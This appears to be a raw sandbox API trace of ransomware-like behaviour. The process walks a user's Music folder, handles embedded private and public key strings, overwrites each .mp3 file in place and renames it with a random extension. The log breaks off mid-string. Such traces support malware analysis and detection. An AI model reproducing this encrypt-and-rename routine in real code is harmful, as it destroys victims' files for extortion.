(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\pPjEdESc.mp3", dwFileAttributes=0x80) returned 1 [0086.383] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.383] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0729c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0086.384] GetCurrentThreadId () returned 0xa30 [0086.384] GetCurrentThreadId () returned 0xa30 [0086.384] GetCurrentThreadId () returned 0xa30 [0086.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f182fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.385] GetCurrentThreadId () returned 0xa30 [0086.385] GetCurrentThreadId () returned 0xa30 [0086.385] GetCurrentThreadId () returned 0xa30 [0086.385] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\pPjEdESc.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\ppjedesc.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0086.386] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0086.386] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0086.386] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x19cf [0086.386] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0086.386] ReadFile (in: hFile=0x104, lpBuffer=0x1f20100, nNumberOfBytesToRead=0x19cf, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f20100*, lpNumberOfBytesRead=0x18f108*=0x19cf, lpOverlapped=0x0) returned 1 [0086.388] CloseHandle (hObject=0x104) returned 1 [0086.388] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\pPjEdESc.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\ppjedesc.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0086.390] WriteFile (in: hFile=0x104, lpBuffer=0x1f22130*, nNumberOfBytesToWrite=0x19cf, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f22130*, lpNumberOfBytesWritten=0x18f114*=0x19cf, lpOverlapped=0x0) returned 1 [0086.392] CloseHandle (hObject=0x104) returned 1 [0086.396] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\pPjEdESc.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\ppjedesc.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\pPjEdESc.mp3.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\ppjedesc.mp3.zv7un")) returned 1 [0086.397] GetCurrentThreadId () returned 0xa30 [0086.397] GetCurrentThreadId () returned 0xa30 [0086.397] GetCurrentThreadId () returned 0xa30 [0086.398] GetCurrentThreadId () returned 0xa30 [0086.398] GetCurrentThreadId () returned 0xa30 [0086.398] GetCurrentThreadId () returned 0xa30 [0086.398] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfff5e50, ftCreationTime.dwHighDateTime=0x1d5e35f, ftLastAccessTime.dwLowDateTime=0xd31dbac0, ftLastAccessTime.dwHighDateTime=0x1d5dabe, ftLastWriteTime.dwLowDateTime=0xd31dbac0, ftLastWriteTime.dwHighDateTime=0x1d5dabe, nFileSizeHigh=0x0, nFileSizeLow=0x18393, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="W-WQwcGzdDbcBmDqlU.mp3", cAlternateFileName="W-WQWC~1.MP3")) returned 1 [0086.398] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0086.398] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0086.398] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\W-WQwcGzdDbcBmDqlU.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\w-wqwcgzddbcbmdqlu.mp3"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfff5e50, ftCreationTime.dwHighDateTime=0x1d5e35f, ftLastAccessTime.dwLowDateTime=0xd31dbac0, ftLastAccessTime.dwHighDateTime=0x1d5dabe, ftLastWriteTime.dwLowDateTime=0xd31dbac0, ftLastWriteTime.dwHighDateTime=0x1d5dabe, nFileSizeHigh=0x0, nFileSizeLow=0x18393)) returned 1 [0086.398] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\W-WQwcGzdDbcBmDqlU.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\w-wqwcgzddbcbmdqlu.mp3")) returned 0x20 [0086.399] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\W-WQwcGzdDbcBmDqlU.mp3", dwFileAttributes=0x80) returned 1 [0086.401] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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